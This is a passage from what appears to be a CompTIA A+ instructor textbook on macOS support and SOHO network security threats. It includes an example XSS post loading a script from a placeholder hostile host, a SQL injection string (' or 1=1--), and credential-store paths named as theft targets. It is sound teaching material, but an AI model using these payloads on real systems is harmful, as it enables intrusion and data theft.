the box for Show password and enter an administrator password to reveal the
password for that device or service.
If warning messages are displayed, it’s possible to attempt a repair with Keychain
First Aid.

FileVault
FileVault is a disk encryption product. Encryption protects the data stored on a disk
against the possibility that a threat actor could remove it from the computer and
use a foreign OS to read the files.

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When disk encryption is enabled, each user account must be configured with a
password. When the disk is encrypted for the first time, you should configure a
recovery method. This is an alternative method of unlocking the disk if a password
is forgotten. The recovery key can be stored in an iCloud account or recorded locally
(do not save the recovery key to the same disk as the encrypted data!).

Finder and iCloud

Show As with Windows, a Mac can store files on local drives, but cloud storage can
Slide(s) represent a more secure option and make it easier to synchronize data between
Finder and iCloud devices.

Finder
The Finder is the macOS equivalent of File Explorer in Windows. It lets the user
navigate all the files and folders on a Mac. It is always present and open in the dock.

iCloud
iCloud is Apple’s online storage solution for its users. It provides a central, shared
location for mail, contacts, calendar, photos, notes, reminders, and so on across
macOS and iOS devices. By default, each user is provided with 5 GB of storage
(at the time of writing), although it is possible to upgrade to more space for an
additional monthly fee. This space is shared across all iCloud components and
devices.

Using the Apple ID prefpane to configure iCloud synchronization options.

(Screenshot reprinted with permission from Apple Inc.)

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App Installation and Management

There are two main distribution mechanisms for macOS apps: the App Store and Show
app downloads. Slide(s)
App Installation and
Installation from the App Store Management

The App Store provides a central portal for Apple and developers to distribute
free and paid-for software. It is also used to distribute updates to macOS and
new releases of the operating system. Access to the App Store is mediated by an
Apple ID.

Monitoring the App Store for available updates. (Screenshot reprinted

with permission from Apple Inc.)

Installation of Download Apps

Microsoft Office, Adobe Creative Cloud, and Skype are just three examples of apps
that are not available in the App Store. To install any of these apps, it is necessary to
download them from the vendor site, ensuring that you select the macOS version.
By default, macOS will only allow apps to be installed that have been downloaded
from the Mac App Store. To allow the installation of download apps, go to System
Preferences > Security & Privacy. Select the padlock to make changes to the
settings—you will need to enter the Administrator password to continue.
There are two main macOS package installer formats:
• DMG (disk image) format is used for simple installs where the package contents
just need to be copied to the Applications folder.

• PKG format is used where app setup needs to perform additional actions, such
as running a service or writing files to multiple folders.

When the app has been installed, it is placed in a directory with a .APP extension in
the Applications folder.

App Uninstallation Process

For any app, the uninstallation process is simply to use Finder to delete the .APP
directory or drag it to Trash.

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Antivirus
Like any other software, macOS is subject to vulnerabilities and security advisories,
some of which can be exploited and are serious enough to an unprivileged user
to obtain root access. It is imperative to patch macOS systems against known
vulnerabilities. There are relatively few instances of the infection of macOS systems
by conventional computer viruses or worms. However, this does not mean that
new threats will not appear in the future. macOS is vulnerable to different kinds of
malware, such as fake security alerts and Trojans. Also, a macOS host could pass on
Windows viruses to other users via email or file transfer. If a Windows boot partition
is installed on macOS, it’s possible for the Windows installation to become infected
with a virus.
The following steps can help to protect a macOS computer from infection:
• Only download trusted apps—By default, macOS will only allow apps to
be installed that have been downloaded from the App Store. If this setting
is changed, ensure that you only download apps and content from trusted
websites.

• Only download trusted content—Again, make sure that you only download
media or other content from reliable, trusted sources.

• Use antivirus software—A number of free A-V packages are available for Mac
(from Avira, Avast, and Sophos, for instance) that will detect malware directed at
macOS—and Windows viruses too—and prevent redistribution via email or file
sharing.

• If you have a bootable Windows partition on your macOS installation (Boot

Camp), it is essential to treat it as if you were running and managing a Windows
computer. Any antivirus package can be used; make sure you follow the same
processes and procedures to protect Windows as if it were a standalone
computer.

Corporate Restrictions
Any installation of macOS can be enrolled in a mobile device/endpoint management
suite. A supervised macOS can be restricted in terms of app installation and
uninstallation policies. Corporate apps can be pushed to devices via the Business
Manager portal. Apple has published a Platform Deployment guide covering device
management at support.apple.com/guide/deployment/welcome/1/web.

OS and App Updates

Show In macOS, the App Store checks daily for new updates/patches and releases of
Slide(s) installed apps. If a new version is available, a notification will be shown against the
OS and App Updates App Store icon in the dock.
You will have a choice to either update the apps individually or update all from
the button at the top. It is recommended to choose Update All so that the latest
versions of your apps and updates to macOS (not necessarily new versions) are on
the Mac. It is also possible to automatically update apps to the latest version. To do
this, go to App Store > Preferences and configure the appropriate settings:

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Software Update prefpane showing that a macOS version upgrade is available.

(Screenshot reprinted with permission from Apple Inc.)

Most apps that are downloaded and installed from a third-party developer will
automatically check if updates are available each time they are run. A prompt will
be displayed to update or to cancel. It’s also possible to manually check for updates
using the Check for Updates menu option in the app itself.

Network and Device Settings

There are various options in System Preferences to add and configure hardware Show
devices. Slide(s)
Network and Device
Network Settings

You can manage network settings either from the Status menu on the right-hand
side of the menu bar or via System Preferences.

Status menus in the Menu bar. (Screenshot reprinted with permission from Apple Inc.)

Use the Advanced button to configure IP properties and proxy settings.

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Select the Advanced button in the Network prefpane to configure Wi-Fi options, IP and DNS settings,
and proxy settings. (Screenshot reprinted with permission from Apple Inc.)

Printers & Scanners

Use the Printers & Scanners prefpane to add and manage print and scan devices.

Disk Utility
The Disk Utility app can be used to verify or repair a disk or file system. It can also be
used to erase a disk with security options in case you are selling or passing on a Mac.

Use the Disk Utility to report storage status and configure and format volumes.
(Screenshot reprinted with permission from Apple Inc.)

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There is no need to regularly defragment a Mac hard drive. It’s possible to run a
defragmentation, but it should only be needed very rarely.

Optical Drives and Remote Disc

Since 2016, no Apple Mac has been sold with an internal optical drive. While an
external USB drive can be used, another option is the Remote Disc app, which lets
the user access a CD/DVD drive on another Mac or Windows computer. This isn’t
suitable for audio CDs, DVD movies, recordable CDs/DVDs, or Windows installation
disks, however.
To set up Remote Disc sharing on a Mac, open System Preferences > Sharing, and
then make sure the check box is ticked next to DVD or CD sharing. To access the
optical drive, select Remote Disc in Finder.

Time Machine Backup

The Time Machine prefpane enables data to be backed up to an external drive Show
or partition formatted using either APFS or macOS’s older extended file system. By Slide(s)
default, Time Machine keeps hourly backups for the past 24 hours, daily backups Time Machine Backup
for a month, and weekly backups for all previous months. When the drive used to
store backups becomes full, Time Machine removes older backups to free up space.

Configuring Time Machine. (Screenshot reprinted with permission from Apple Inc.)

To restore files from Time Machine, a timeline on the right-hand side of the screen
will show the available backups. Using the Finder window in Time Machine, find
the folder with the file (or files) that you want to restore. Then slide the timeline
back to the date/time of the previous version.

Time Machine stores backups on the local drive as snapshots as well as any available
backup drive. If the backup drive is not attached, you may still be able to restore a file
or version from the local snapshot. If the tick mark next to an item in the timeline is
dimmed, the backup drive needs to be attached to restore that item.

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Troubleshoot Crashes and Boot Issues

Show macOS comes with several tools to troubleshoot app, OS, and data issues.
Slide(s)
Troubleshoot Crashes
App Crashes and Force Quit
and Boot Issues
When an app is busy or processing a complex request, the spinning wait cursor
will appear and usually disappear again within a few seconds. Should it remain
visible for longer, it is possible that the app has gone into an endless loop or
entered a state where it is not possible to complete its process.
If a macOS app stops responding, it should be possible to close it down and restart
without having to restart the computer. Run Force Quit from the Apple menu or
press COMMAND+OPTION+ESC.

Using Force Quit to stop an app that is not responding. (Screenshot reprinted
with permission from Apple Inc.)

Recovery Menu
macOS includes a set of utilities that you can use to restore a Mac from the Time
Machine backup program, reinstall macOS from a system image, or reformat or
repair the system disk.
To access the Recovery menu, as you power up the Apple Mac, hold down the
COMMAND+R keys until you see the Apple logo. After selecting your language, it
will boot into macOS Recovery, enabling you to select from the options shown in
the following figure.

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macOS Recovery menu. (Screenshot reprinted with permission from Apple Inc.)

When you reboot an Apple Mac, if the startup drive is not available for any
reason and it’s connected to the Internet, the computer will try to boot from a
web-based drive.
Use a Time Machine snapshot backup if you want to restore the Mac to a specific
point in time; for example, if you have replaced or reformatted the hard drive.

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Review Activity:
Features of macOS
8

Show Answer the following questions:

Slide(s)
Review
1. Where would you look for the option to view and configure wireless
Teaching adapter status in macOS?
Tip
Take some time at In the Status menu on the Menu bar, in the top-right of the screen, or in the
the end of each topic Network prefpane.
to answer questions.
You can use the 2. How do you activate Spotlight Search using the keyboard?
review questions
for discussion in COMMAND+SPACEBAR.
class or set them for
students to complete 3. Your company is replacing its Windows desktops with Mac workstations,
individually during or and you need to assist users with the transition. What is the equivalent
after class.
of File Explorer in macOS?

The Finder.

4. How would you update an app purchased from the Mac App Store?

Open the Mac App Store and select the Updates button.

5. What is the name of Apple’s backup software for macOS?

Time Machine.

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Lesson 15
Summary
6

You should be able to identify features of Linux and macOS to help support diverse Show
OS environments. Slide(s)
Summary
Guidelines for Supporting Linux and macOS
Teaching
Follow these guidelines to support Linux and macOS desktop and laptop users:
Tip
• Create knowledge base support documentation to assist users and technicians Try to include some
with command-line management of the following Linux features: time at the end
of each lesson to
• Shell/terminal concepts and man help system. check students’
understanding and
• Directory navigation and file management (nano, cat, pwd, ls, mv, cp, rm, df, answer questions.
grep, find, and backups/cron).

• User and permissions management (su/sudo, chmod, chown, and Samba file
sharing).

• Package and process management (apt-get, yum, ps, top, and antivirus/
integrity checking for updates/patches).

• Network management (ip and dig).

• Create knowledge base support documentation to assist users and technicians

with use of the following macOS features:

• User interface features (Dock, Finder, Spotlight Search, and Terminal).

• User System Preference settings and configuration (Apple ID and corporate

restrictions, privacy, accessibility, Keychain, Gestures, and Multiple Desktops/
Mission Control).

• Package and process management (installation and uninstallation of

applications and .DMG, .PKG, .APP file types, antivirus/integrity checking,
updates/patches, and force quit).

• Disk and file management (iCloud, Time Machine backups, Remote Disc, Disk
Utility, and FileVault).

• Network and devices settings (Displays, Networks, Printers, and Scanners).

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 15: Managing Linux and macOS

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 Lesson 16
Configuring SOHO Network Security
1

LESSON INTRODUCTION
As a CompTIA A+ technician, you are in the position to identify potential security Show
issues before they become big problems. By identifying security threats and Slide(s)
vulnerabilities, as well as some of the controls that can counteract them, you can Objectives
help keep your organization’s computing resources safe from unauthorized access.
In this lesson, you will identify security threats and vulnerabilities, plus some of the Teaching
logical and physical controls used to mitigate them on SOHO networks. Tip
This lesson starts
a block of security-
Lesson Objectives focused content
covering wireless
In this lesson, you will: networks, home
• Explain attacks, threats, and vulnerabilities. routers, workstation
hardening, and mobile
• Compare wireless security protocols. security. This lesson
introduces security
• Configure SOHO router security. concepts beyond
authentication/
• Summarize security measures. authorization and
covers the specific
measures to take
to secure a SOHO
network.

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Topic 16A
Show
Slide(s)
Explain Attacks,
Threats, and
Vulnerabilities

Teaching Explain Attacks, Threats,

Tip
This topic summarizes
and Vulnerabilities
attack and threat 2

types, including
social engineering.
Your aim should be
CORE 2 EXAM OBJECTIVES COVERED
to equip students 2.4 Explain common social-engineering attacks, threats, and vulnerabilities.
with the vocabulary
and understanding
to support incident
response and security In this topic, you will distinguish the concepts of attacks, threats, and vulnerabilities.
staff rather than to By identifying common security threats and vulnerabilities, you will be better
get into the detail of equipped to suggest or implement the most effective counteractive measures.
attack mechanisms.

Information Security
Show Information security is the practice of controlling access to data that is in any
Slide(s) format, including both computer data and paper records. Secure information
Information Security has three properties, often referred to as the confidentiality, integrity, and
availability (CIA triad):
Teaching
• Confidentiality means that certain information should only be known to certain
Tip
people.
Establish the
context for ensuring • Integrity means that the data is stored and transferred as intended and that any
information security modification is authorized.
and cybersecurity by
the different types • Availability means that information is accessible to those authorized to view or
of assessments:
modify it.
vulnerability, threat,
and risk.
You will also come across the term cybersecurity. Where information security
relates to ensuring data is stored and processed with CIA attributes in electronic
or printed formats, cybersecurity refers specifically to controls that protect against
attacks on computer storage and processing systems.
Information security and cybersecurity are assured by developing security policies
and controls. Making a system more secure is also referred to as hardening it.
Different security policies should cover every aspect of an organization’s use of
computer and network technologies, from procurement and change control to
acceptable use.
As part of this process, security teams must perform assessments to determine how
secure a network is. These assessments involve vulnerabilities, threats, and risk:
• Vulnerability is a weakness that could be accidentally triggered or intentionally
exploited to cause a security breach.

• Threat is the potential for someone or something to exploit a vulnerability and

breach security. A threat may be intentional or unintentional. The person or
thing that poses the threat is called a threat actor or threat agent. The path or
tool used by a malicious threat actor can be referred to as the attack vector.

• Risk is the likelihood and impact (or consequence) of a threat actor exercising a
vulnerability.

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Relationship between vulnerability, threat, and risk.

To assist with workstation and network security assessments, you need to

understand the types of threats that an organization is exposed to and how
vulnerabilities can be exploited to launch attacks.

Vulnerabilities
A vulnerability is some fault or weakness in a system that could be exploited by Show
a threat actor. Vulnerabilities can arise due to a very wide range of causes. Some Slide(s)
of these causes include improperly configured or installed hardware or software, Vulnerabilities
delays in applying and testing software and firmware patches, untested software
and firmware patches, the misuse of software or communication protocols, poorly Teaching
designed network architecture, inadequate physical security, insecure password Tip
usage, and design flaws in software or operating systems, such as unchecked Distinguish
user input. configuration
and software
Non-compliant Systems vulnerabilities
and introduce the
A configuration baseline is a set of recommendations for deploying a computer in concepts of hardening
and attack surface.
a hardened configuration to minimize the risk that there could be vulnerabilities.
There are baselines for different operating systems and for different server and Discuss how
client roles. For example, a web server would have a different configuration computers and
networks become
baseline than a file server would have. The basic principle of a configuration
more vulnerable to
baseline is to reduce the system’s attack surface. The attack surface is all the points application attacks if
a threat actor could try to use to infiltrate or disrupt the system. procedural controls
for patching and
A non-compliant system is one that has drifted from its hardened configuration. monitoring are
A vulnerability scanner is a class of software designed to detect non-compliant inadequate.
systems.

Unprotected Systems
A baseline will recommend specific technical security controls to ensure a secure
configuration. Examples of these controls include antivirus scanners, network and
personal firewalls, and intrusion detection systems. An unprotected system is one
where at least one of these controls is either missing or improperly configured. This
increases the system’s attack surface and potentially exposes more vulnerabilities.

Software and Zero-day Vulnerabilities

A software vulnerability is a fault in design or in code that can cause an application
security system to be circumvented or that will cause the application to crash. The
most serious vulnerabilities allow the attacker to execute arbitrary code on the
system, which could allow the installation of malware. Malicious code that can use a
vulnerability to compromise a host is called an exploit.

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Most software vulnerabilities are discovered by software and security researchers,

who notify the vendor to give them time to patch the vulnerability before releasing
details to the wider public. A vulnerability that is exploited before the developer
knows about it or can release a patch is called a zero-day. These can be extremely
destructive, as it can take the vendor a lot of time to develop a patch, leaving
systems vulnerable for days, weeks, or even years.

The term zero-day is usually applied to the vulnerability itself but can also refer to an
attack or malware that exploits it.

Unpatched and End of Life OSs

While zero-day exploits can be extremely destructive, they are relatively rare events.
A greater threat is the large number of unpatched or legacy systems in use. An
unpatched system is one that its owner has not updated with OS and application
patches. A legacy or end of life (EOL) system is one where the software vendor no
longer provides support or fixes for problems.

These issues do not just affect PC operating systems and applications. Any type of code
running on a network appliance or device can also be vulnerable to exploits. The risks to
embedded systems have become more obvious and the risks posed by unpatched and
EOL mobile devices and the Internet of Things is growing.

Bring Your Own Device Vulnerabilities

Bring your own device (BYOD) is a provisioning model that allows employees to
use personal mobile devices to access corporate systems and data. In this scenario,
it is very difficult for the security team to identify secure configuration baselines for
each type of device and mobile OS version and even more challenging to ensure
compliance with those baselines. BYOD is another example of increasing the
network attack surface.

Social Engineering
Show Threat actors can use a diverse range of techniques to compromise a security
Slide(s) system. A prerequisite of many types of attacks is to obtain information about the
Social Engineering network and its security controls. Social engineering—or hacking the human—
refers to techniques that persuade or intimidate people into revealing this kind of
Teaching confidential information or allowing some sort of access to the organization that
Tip should not have been authorized.
Discuss what makes Preventing social engineering attacks requires an awareness of the most common
social engineering
forms of social engineering exploits.
attacks effective and
ensure that students
can distinguish types Impersonation
of attacks.
Impersonation means that the social engineer develops a pretext scenario to
give himself or herself an opportunity to interact with an employee. A classic
impersonation pretext is for the threat actor to phone into a department
pretending to be calling from IT support, claim something must be adjusted on
the user’s system remotely, and persuade the user to reveal his or her password.
For this type of pretexting attack to succeed, the social engineer must gain the
employee’s trust or use intimidation or hoaxes to frighten the employee into
complying.

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Do you really know who's on the other end of the line? (Photo by Uros Jovicic on Unsplash.)

Dumpster Diving
To make a pretext seem genuine, the threat actor must obtain privileged
information about the organization or about an individual. For example, an
impersonation pretext is much more effective if the attacker knows the user’s
name. As most companies are set up toward customer service rather than
security, this information is typically easy to come by. Information that might seem
innocuous, such as department employee lists, job titles, phone numbers, diary
appointments, invoices, or purchase orders, can help an attacker penetrate an
organization through impersonation.
Another way to obtain information that will help to make a social engineering attack
credible is by obtaining documents that the company has thrown away. Dumpster
diving refers to combing through an organization’s (or individual’s) garbage to try to
find useful documents. Attackers may even find files stored on discarded removable
media.

A threat actor might stage multiple attacks as part of a campaign. Initial attacks may
only aim at compromising low-level information and user accounts, but this low-level
information can be used to attack more sensitive and confidential data and better
protected management and administrative accounts.

Shoulder Surfing
A shoulder surfing attack means that the threat actor learns a password or PIN
(or other secure information) by watching the user type it. Despite the name,
the attacker may not have to be in proximity to the target—they could use high-
powered binoculars or CCTV to directly observe the target remotely, for instance.

Tailgating and Piggybacking

Tailgating is a means of entering a secure area without authorization by following
closely behind the person who has been allowed to open the door or checkpoint.
Piggybacking is a similar situation but means that the attacker enters a secure
area with an employee’s permission. For instance, an attacker might impersonate
a member of the cleaning crew and request that an employee hold the door open
while the attacker brings in a cleaning cart or mop bucket. Another technique is to
persuade someone to hold a door open, using an excuse such as “I’ve forgotten my
badge (or key).”

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Phishing and Evil Twins

Show Phishing uses social engineering techniques to make spoofed electronic
Slide(s) communications seem authentic to the victim. A phishing message might try to
Phishing and Evil convince the user to perform some action, such as installing malware disguised as an
Twins antivirus program or allow a threat actor posing as a support technician to establish a
remote access connection. Other types of phishing campaign use a spoof website set
Teaching up to imitate a bank or e‑commerce site or some other web resource that should be
Tip trusted by the target. The attacker then emails users of the genuine website, informing
Ensure that students them that their account must be updated. Or, with some sort of hoax alert or alarm,
can distinguish types the attacker supplies a disguised link that leads to the spoofed site. When users
of phishing attacks. authenticate with the spoofed site, their logon credentials are captured.

Example of a phishing email. On the right, you can see the message in its true form as the
mail client has stripped out the formatting (shown on the left) designed to disguise the nature
of the links. (Screenshot courtesy of CompTIA.)

Some phishing variants are referred to by specific names:

• Spear phishing occurs when the attacker has some information that makes the
target more likely to be fooled by the attack. The threat actor might know the
name of a document that the target is editing, for instance, and send a malicious
copy, or the phishing email might show that the attacker knows the recipient’s
full name, job title, telephone number, or other details that help to convince the
target that the communication is genuine.

• Whaling is an attack directed specifically against upper levels of management in

the organization (CEOs and other “big catches”). Upper management may also
be more vulnerable to ordinary phishing attacks because of their reluctance to
learn basic security procedures.

• Vishing is conducted through a voice channel (telephone or VoIP, for instance).

For example, targets could be called by someone purporting to represent their
bank asking them to verify a recent credit card transaction and requesting their
security details. It can be much more difficult for someone to refuse a request
made in a phone call compared to one made in an email.

An evil twin attack is similar to phishing but instead of an email, the attacker uses
a rogue wireless access point to try to harvest credentials. An evil twin might have a
similar network name (SSID) to the legitimate one, or the attacker might use some
denial of service (DoS) technique to overcome the legitimate AP. The evil twin might
be able to harvest authentication information from users entering their credentials

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by mistake. For example, the evil twin might allow devices to connect via open
authentication and then redirect users’ web browsers to a spoofed captive portal
that prompts them for their network password.

Threat Types
Historically, cybersecurity techniques were highly dependent on the identification Show
of “static”-known threats, such as computer viruses. This type of threat leaves a Slide(s)
programming code signature in the file that it infects that is relatively straightforward Threat Types
to identify with automated scanning software. Unfortunately, adversaries were able to
develop means of circumventing this type of signature-based scanning. Teaching
The sophisticated nature of modern cybersecurity threats means that it is important Tip
to be able to describe and analyze behaviors. This behavioral analysis involves Explain the concepts
of threat and threat
identifying the attributes of threat actors in terms of location, intent, and capability.
actor, and describe
the first set of attacks
External versus Internal Threats (spoofing and DoS).
An external threat actor is one who has no account or authorized access to
the target system. A malicious external threat actor must infiltrate the security
system using malware and/or social engineering. Note that an external actor may
perpetrate an attack remotely or on-premises (by breaking into the company’s
headquarters, for instance). It is the threat actor who is defined as external, rather
than the attack method.
Conversely, an insider threat actor is one who has been granted permissions on
the system. This typically means an employee, but insider threat can also arise from
contractors and business partners. It is important to realize that insider threat can
be either malicious or non-malicious. An example of malicious insider threat is a
disgruntled or corrupt employee trying to damage or steal confidential company data.
An example of non-malicious insider threat is a technician setting up a Minecraft server
on one of the company’s computers, exposing it to unnecessary risk.

Footprinting Threats
Footprinting is an information-gathering threat in which the attacker attempts to
learn about the configuration of the network and security systems. A threat actor will
perform reconnaissance and research about the target, gathering publicly available
information, scanning network ports and websites, and using social engineering
techniques to try to discover vulnerabilities and ways to exploit the target.

Spoofing Threats
A spoofing threat is any type of attack where the threat actor can masquerade as
a trusted user or computer. Spoofing can mean cloning a valid MAC or IP address,
using a false digital certificate, creating an email message that imitates a legitimate
one, or performing social engineering by pretending to be someone else.
Spoofing can also be performed by obtaining a logical token or software token.
A logical token is assigned to a user or computer during authentication to some
service. A token might be implemented as a web cookie, for instance. If an attacker
can steal the token and the authorization system has not been designed well, the
attacker may be able to present the token again and impersonate the original user.
This type of spoofing is also called a replay attack.

On-path Attacks
An on-path attack is a specific type of spoofing where the threat actor can covertly
intercept traffic between two hosts or networks. This allows the threat actor to
read and possibly modify the packets. An on-path attack is often designed to try to
recover password hashes. An evil twin is one example of an on-path attack.

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On-path attack is the updated terminology for man-in-the-middle (MitM). Non-inclusive

terminology that uses this kind of weak or vague metaphor is deprecated in most
modern documentation and research.

Denial of Service Attacks

A denial of service (DoS) attack causes a service at a given host to fail or to become
unavailable to legitimate users. Typically, a DoS attack tries to overload a service by
bombarding it with spoofed requests. It is also possible for DoS attacks to exploit
design failures or other vulnerabilities in application software to cause it to crash.
Physical DoS refers to cutting the power to a computer or cutting a network cable.
DoS attacks may simply be motivated by the malicious desire to cause trouble.
DoS is also often used to mask a different type of attack. For example, a DoS attack
against a web server might be used to occupy the security team when the threat
actor’s real goal is stealing information from a database server.

Distributed DoS Attacks and Botnets

Network-based DoS attacks are normally accomplished by flooding the server with
bogus requests. They rely on the attacker having access to greater bandwidth than the
target or on the target being required to devote more resources to each connection
than the attacker. This type of bandwidth-directed DoS attack is usually perpetrated
as distributed DoS (DDoS). DDoS means that the attacks are launched from multiple
compromised systems, referred to as a botnet. To establish a botnet, the threat actor
will first compromise one or two machines to use for command & control (C&C). The
C&C hosts are used to compromise hundreds or thousands of devices by installing
bots on them via automated exploits or successful phishing attacks. A bot establishes
a persistent remote-control channel with the C&C hosts. This allows the threat actor to
launch coordinated attacks using all the devices in the botnet.

Using a command & control (C&C) network to operate a botnet of compromised hosts and
coordinate a DDoS attack.

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Password Attacks
On-path and malware attacks can be difficult to perpetrate. Many network Show
intrusions occur because a threat actor simply obtains credentials to access the Slide(s)
network. Also, when threat actors gains some sort of access via an on-path or Password Attacks
malware attack, they are likely to attempt to escalate privileges to gain access to
other targets on the network by harvesting credentials for administrative accounts. Teaching
Tip
A plaintext password can be captured by obtaining a password file or by sniffing
unencrypted traffic on the network. If the protocol does not use encryption, then Briefly explain
password storage and
the threat actor can simply read the password string from the captured frames.
transport mechanisms
and the use of hashes.
Explain how hashes
can be captured and
the brute force and
dictionary methods
that could allow a
threat actor to recover
the plaintext password
string from a hash.

If authentication credentials are transmitted in cleartext, such as the unencrypted version of the
IMAP mailbox access protocol, it is a simple matter for the credentials to be intercepted via packet
sniffing. (Screenshot courtesy of Wireshark.)

In most cases, a password is stored and transmitted more securely by making

a cryptographic hash of the string entered by the user. A cryptographic hash
algorithm produces a fixed-length string from a variable-length string using a
one-way function. This means that, in theory, no one except the user (not even the
system administrator) knows the password, because the plaintext should not be
recoverable from the hash.

A password might be sent in an encoded form, such as Base64, which is simply an

ASCII representation of binary data. This is not the same as cryptographic hashing.
The password value can easily be derived from the Base64 string.

A threat actor might obtain a database of password hashes from the local
system. Common password hash files and databases include %SystemRoot%\
System32\config\SAM, %SystemRoot%\NTDS\NTDS.DIT (the
Active Directory credential store), and /etc/shadow. The threat actor could
also use an on-path attack to capture a password hash transmitted during user
authentication.

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While the original string is not supposed to be recoverable, password cracking

software can be used to try to identify the password from the cryptographic hash.
A password cracker uses two basic techniques:
• Dictionary—The software matches the hash to those produced by ordinary
words found in a dictionary. This dictionary could include information such as
user and company names, pet names, significant dates, or any other data that
people might naively use as passwords.

• Brute force—The software tries to match the hash against one of every possible
combination it could be. If the password is short (under eight characters) and
noncomplex (using only lower-case letters, for instance), a password might be
cracked in minutes. Longer and more complex passwords increase the amount
of time the attack takes to run.

Hashcat password cracking utility. This example uses a mask to speed up a brute force attack.
The attacker can use a mask by learning or guessing likely facts about how the target chooses a
password, such as its length and likelihood of being a variation on a simple word or phrase.

Cross-site Scripting Attacks

Show
Slide(s) Many network services are now deployed as web applications. The web application is
deployed as script code running on an HTTP/HTTPS web server. This is referred to as
Cross-site Scripting
Attacks server-side code. The web application is accessed by a web browser client. The web app
might run scripts on the browser too. This is referred to as client-side code.
Teaching
Most applications depend on user input. One of the most widespread vulnerabilities
Tip
in web apps is failure to validate this input properly. For example, the user might
This is a relatively need to sign in using an email address and password, so the web app presents two
complex content
text-box fields for the user to input those values. If a threat actor can send a script
example to have to
introduce. Explain that via the username field and make the server or client execute that code, the web app
sites/web apps are has an input validation vulnerability.
(typically) vulnerable
because of some type
of input validation
failure that allows a
threat actor to send
malicious code via
the site that will be
executed in the user
browser.

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A cross-site scripting (XSS) attack exploits the fact that the browser is likely to trust
scripts that appear to come from a site the user has chosen to visit. XSS inserts a
malicious script that appears to be part of the trusted site. A nonpersistent type of
XSS attack would proceed as follows:
1. The attacker identifies an input validation vulnerability in the trusted site.

2. The attacker crafts a URL to perform code injection against the trusted site.
This could be coded in a link from the attacker’s site to the trusted site or a
link in a phishing email message.

3. When the user opens the link, the trusted site returns a page containing
the malicious code injected by the attacker. As the browser is likely to be
configured to allow the site to run scripts, the malicious code will execute.

4. The malicious code could be used to deface the trusted site (by adding
any sort of arbitrary HTML code), steal data from the user’s cookies, try to
intercept information entered in a form, or try to install malware. The crucial
point is that the malicious code runs in the client’s browser with the same
permission level as the trusted site.

This type of XSS attack is nonpersistent because at no point is data on the web
server changed. A stored/persistent XSS attack aims to insert code into a back-end
database or content management system used by the trusted site. The threat actor
may submit a post to a bulletin board with a malicious script embedded in the
message, for instance. When other users view the message, the malicious script
is executed. For example, with no input sanitization, a threat actor could type the
following into a new post text field:
Check out this amazing <a
href=“https://trusted.foo”>website</a><script
src=“https://badsite.foo/hook.js”></script>.
Users viewing the post will have the malicious script hook.js execute in their
browser.

SQL Injection Attacks

A web application is likely to use Structured Query Language (SQL) to read and write Show
information from a database. SQL statements perform operations such as selecting Slide(s)
data (SELECT), inserting data (INSERT), deleting data (DELETE), and updating data SQL Injection Attacks
(UPDATE). In a SQL injection attack, the threat actor modifies one or more of these
four basic functions by adding code to some input accepted by the app, causing Teaching
it to execute the attacker’s own set of SQL queries or parameters. If successful, Tip
this could allow the attacker to extract or insert information into the database Do not go into detail
or execute arbitrary code on the remote system using the same privileges as the about how the attacks
database application. are perpetrated. Focus
on what a threat actor
For example, consider a web form that is supposed to take a name as input. If the can achieve if the
user enters “Bob”, the application runs the following query: attack is successful.

SELECT * FROM tbl_user WHERE username = ‘Bob’

If a threat actor enters the string ’ or 1=1-- and this input is not sanitized, the
following malicious query will be executed:
SELECT * FROM tbl_user WHERE username = ‘’ or
1=1--#

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The logical statement 1=1 is always true, and the --# string turns the rest of the
statement into a comment, making it more likely that the web application will parse
this modified version and dump a list of all users.

Hashing and Encryption Concepts

Show Many logical security controls depend to some extent on the use of encryption
Slide(s) technologies. A message encrypted by a cipher is only readable if the recipient has
Hashing and the correct key for that cipher. The use of encryption allows sensitive data to travel
Encryption Concepts across a public network, such as the Internet, and remain private.

Teaching
There are three principal types of cryptographic technology: symmetric encryption,
Tip
asymmetric encryption, and cryptographic hashing.
Summarize the basic Cryptographic Hashes
terminology used to
classify cryptographic
A hash is a short representation of data. A hash function takes any amount of
types.
data as input and produces a fixed-length value as output. A cryptographic hash
performs this process as a one-way function that makes it impossible to recover
the original value from the hash. Cryptographic hashes are used for secure storage
of data where the original meaning does not have to be recovered (passwords, for
instance).
Two of the most used cryptographic hash algorithms are Secure Hash Algorithm
(SHA) and Message Digest (MD5). MD5 is the older algorithm and is gradually being
phased out of use.

Symmetric Encryption
A symmetric encryption cipher uses a single secret key to both encrypt and
decrypt data. The secret key is so-called because it must be kept secret. If the key
is lost or stolen, the security is breached. Consequently, the main problem with
symmetric encryption is secure distribution and storage of the key. This problem
becomes exponentially greater the more widespread the key’s distribution needs
to be. The main advantage is speed. A symmetric cipher, such as the Advanced
Encryption Standard (AES), can perform bulk encryption and decryption of multiple
streams of data efficiently.

Asymmetric Encryption
An asymmetric encryption cipher uses a key pair. A key pair is a private key and
a public key that are mathematically linked. For any given message, either key can
perform either the encrypt or decrypt operation but not both. Only the paired key
can reverse the operation. For example, if the public key part is used to encrypt
a message, only the linked private key can be used to decrypt it. The public key
cannot decrypt what it has just encrypted.

A key pair can be used the other way around. If the private key is used to encrypt
something, only the public key can then decrypt it. The point is that one type of key
cannot reverse the operation it has just performed.

The private key must be kept a secret known only to a single subject (user or
computer). The public key can be widely and safely distributed to anyone with
whom the subject wants to communicate. The private key cannot be derived from
the public key.

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Digital Signatures and Key Exchange

Cryptographic hashes and encryption ciphers have different roles in achieving the Show
information security goals of confidentiality, integrity, and availability. Often two Slide(s)
or more of these three different types are used together in the same product or Digital Signatures
technology. and Key Exchange
The main drawback of asymmetric encryption is that a message cannot be larger Teaching
than the key size. To encrypt a large file, it would have to be split into thousands of Tip
smaller pieces. Consequently, asymmetric encryption is used with cryptographic
Discuss how
hashes and symmetric encryption keys to implement various kinds of security cryptographic
products and protocols. algorithms (ciphers
and hash functions)
Digital Signatures can be used together
to create products and
A digital signature proves that a message or digital certificate has not been altered protocols, such as TLS.
or spoofed. The sender computes a cryptographic hash of a message, encrypts
the hash with his or her private key, and attaches the output to the message as a
digital signature. When the recipient receives the message, she or he can decrypt
the signature using the public key to obtain the sender’s hash. The recipient then
computes her or his own hash of the message and compares the two values to
confirm they match.

Key Exchange
Key exchange allows two hosts to know the same symmetric encryption key
without any other host finding out what it is. A symmetric cipher is much faster
than an asymmetric one, so it is often used to protect the actual data exchange in
a session. Asymmetric encryption only operates efficiently on data that is smaller
than the key size. This makes it well-suited to encrypt and exchange symmetric
cipher keys.
